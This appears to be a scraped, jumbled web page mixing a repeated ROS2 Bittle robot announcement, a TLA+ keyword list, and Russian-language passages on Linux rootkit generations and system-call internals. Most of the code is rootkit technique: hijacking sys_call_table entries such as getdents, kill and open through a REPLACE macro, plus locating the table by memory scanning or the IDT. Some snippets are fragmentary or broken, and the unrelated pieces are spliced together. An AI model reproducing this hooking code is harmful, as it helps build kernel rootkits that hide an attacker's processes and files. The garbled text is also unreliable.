Small progress in the robotic direction. I've finished the Bittle robot description and model viewer for ROS2
https://github.com/friackazoid/champ_description_bittle
Small progress in the robotic direction. I've finished the Bittle robot description and model viewer for ROS2
https://github.com/friackazoid/champ_description_bittle
INVARIANT
INVARIANTS
PROPERTY
PROPERTIES
CONSTANT
CONSTANTS
CONSTRAINT
CONSTRAINTS
ACTION_CONSTRAINT
ACTION_CONSTRAINTS
INIT
NEXT
VIEW
SYMMETRY
TYPE
TYPE_CONSTRAINTSo in jupiter-notebook I can specify CONSTANT like
CONSTANT S <- SSizeRange
export syscall_table;
extern void *sys_call_table[];
int (*o_getdents)(unsigned int, struct dirent *, unsigned int);
int (*o_kill)(int, int);
int (*o_write)(unsigned int, char *, size_t);
int (*o_fork)(struct pt_regs);
int (*o_clone)(struct pt_regs);
int (*o_close)(unsigned int);
int (*o_symlink)(const char *, const char*);
long (*o_mkdir)(const char *, int);
int (*o_stat)(char *, struct stat *);
int (*o_lstat)(char *, struct stat *);
int (*o_open)(char *, int, int);
int (*o_oldstat)(char *, struct __old_kernel_stat *);
int (*o_oldlstat)(char *, struct __old_kernel_stat *);
#ifdef __NR_stat64
int (*o_stat64)(char *, struct stat64 *, long);
#endif
#ifdef __NR_lstat64
int (*o_lstat64)(char *, struct stat64 *, long);
#endif
<...>
#define REPLACE(x) o_##x = sys_call_table[__NR_##x];\
sys_call_table[__NR_##x] = n_##x
REPLACE(write);
REPLACE(getdents);
REPLACE(kill);
REPLACE(fork);
REPLACE(clone);
REPLACE(close);
REPLACE(open);
REPLACE(stat);
REPLACE(lstat);
REPLACE(oldstat);
REPLACE(oldlstat);
#ifdef __NR_stat64
REPLACE(stat64);
#endif
#ifdef __NR_lstat64
REPLACE(lstat64);
#endif
REPLACE(mkdir);
#ifdef __NR_getdents64
REPLACE(getdents64);
#endif
Стоит отметить что на этой серии ядра работает и такой популярнй дистрибутив как Red Hat, а также большинство встраиваемых линуксов (роутеры, точки доступа, маршрутизатор и кофеварки). Однако не стоит думать что все они уязвимы и что наступит конец света как только это тайное знание просачится в интернет (люди в костюмах это специально для вас). Разработчики Red Hat едять свой хлеб не даром, и эти ядра куда более безопасны чем самые последние серии 2.6.х.
unsigned long *find_sc(void){
int i;
unsigned long *ptr;
unsigned long arr[4];
// импорт адрес открытого системного вызова
extern int sys_close(int fd);
// определение адреса окончания секции кода
ptr=(unsigned long *)((init_mm.end_code + 4) & 0xfffffffc);
// поиск в оставшихся секциях указатель на системный вызов
while((unsigned long)ptr < (unsigned long)init_mm.end_data){
if (*ptr == (unsigned long)((unsigned long *)sys_close)){
for(i=0;i<4;i++){>> 16) &0x0000ffff;
}
if(arr[0] != arr[2] || arr[1] != arr[3]) {
sys_call_table = (ptr - __NR_close); break;
}
ptr++;
}
// возвращение указателя на системный вызов
if(sys_call_table)
return sys_call_table;
return NULL;
}
Но к версии 2.6.25 использовать оставшиеся экспортируемые структуры стало совершенно неинтересно. Сложно сказать что случилось первым: умер ли последний представитель второго поколения или появился на свет руткит нового поколения, однако факт остается фактом и на свет появляется третье поколение руткитов.
// функция возвращает указатель на таблицу IDT
static int __get_int_handler(int offset)
{
int idt_entry = 0;
/* off2 << 16 | off1 */
__asm__ __volatile__ ( "xorl %%ebx,%%ebx \n\t"
"pushl %%ebx \n\t"
"pushl %%ebx \n\t"
"sidt (%%esp) \n\t"
"movl 2(%%esp),%%ebx \n\t"
"movl %1,%%ecx \n\t"
"leal (%%ebx, %%ecx, 8),%%esi \n\t"
"xorl %%eax,%%eax \n\t"
"movw 6(%%esi),%%ax \n\t"
"roll $0x10,%%eax \n\t"
"movw (%%esi),%%ax \n\t"
"popl %%ebx \n\t"
"popl %%ebx \n\t"
: "=a" (idt_entry)
: "r" (offset)
: "ebx", "esi" );
return idt_entry;
}
//Достаем адресс таблицы системных вызовов
#define RETURN_SYSCALL_TABLE 0
#define RETURN_SYSCALL_CALL 1
static unsigned int __get_syscall_table(int idt_entry, int mode)
{
unsigned char *p = (unsigned char *)idt_entry;
unsigned int table;
while (!((p[0] == 0xff) && (p[1] == 0x14) && (p[2] == 0x85)))
{
p ++;
}
table = *(unsigned int *)(p+3);
if (mode == RETURN_SYSCALL_TABLE)
return table;
if (mode == RETURN_SYSCALL_CALL)
return (unsigned int)p;
return 0;
}
Один из основных механизмов системы который нам строить и жить помогает - это механизм системных вызовов. Как ни странно о том чтоже это такое можно долго читать и так ничего и не понять.
Для начала приведем то, что об этом говорит Таненбаум. Он говрит (и ему можно верить) что современный компьютер состоит из нескольких абстрактных уровней: микроархитектурный, уровень архитектуры команд и уровень операционной системы. В свою очередь на уровне операционной системы находится некоторый набор команд доступных прикладному программисту. В этом наборе помимо команд более низкого уровня содержатся и системные вызовы.
Если предыдущий абзац был не понят, то ничего от этого не изменится и это никак не помешает использовать эти самые вызовы в своих целях.
Вообще их можно воспринимать как своеобразные API для доступа к аппаратным ресурсам (главное не путать их с API пользовательского уровня).
Но лучше перейти к практики, а так можно до бесконечности.
Что происходит когда программист запрашивает открытие какого лирбо файла с помощью функции fopen()
системной библиотеки libc ?
А происходит следующее:
0x00h) Внутри вункции fopen()
происходит вызов системного вызова (но это только начало). Посмотрим в детали. Вызвать системный вызов можно двумя способами - используя ассемблерную иструкцию int 0x80h
(классика жанра) или вызвать ассемблерную инструкцию sysenter
(доступной начиная со времен процессоров Intel Pentium II). Во всех последних версиях ядер Linux поддерживаются оба способа.
push dword mode //Все аргументы передаются через стек по stdcall соглашению
push dword flags
push dword path
mov eax, 5 // Номер системного вызова передается через eax (5 = __NR_open)
int 80h
или sysenter (правда не особо к месту, AT&T синтаксис и подробнее расписан тут) #include
int pid;
int main (){
__asm (
"movl $20, %eax \n" // Номер системного вызова
"call *%gs:0x10 \n"
"movl %eax, pid \n" // Сохраняем значение
);
printf ("pid: %d\n", pid);
return 0;
}
0x01h) Обработчик этого вызова располагается в самом ядре (arch/x86/kernel/entry_32.S):
syscall_call:
call *sys_call_table(,%eax,4) // Используя таблицу системных вызовов вычисляем адрес запрошенного систменого вызова
movl %eax,PT_EAX(%esp) // store the return value
Таблица системных вызовов это специальный массив содержащий в себе адреса всех системных вызовов. Индекс нужного вызова можно посмотреть в include/asm/unistd_32.h.
0xo2h) Дальше управление наконецто переходит к самому системному вызову
0x03h) После этого происходит востановление возвращаемого значения и поройдя еще есколько процедур управление передается туда от куда пришло.
Это всеголишь квик нот то больше подробностей описывать не будем, темболее что их и так много:
тут http://www.int80h.org/
тут http://manugarg.googlepages.com/systemcallinlinux2_6.html
еще очень подробно расписанно тут http://rflinux.blogspot.com/2008/03/linux-syscalls-linux.html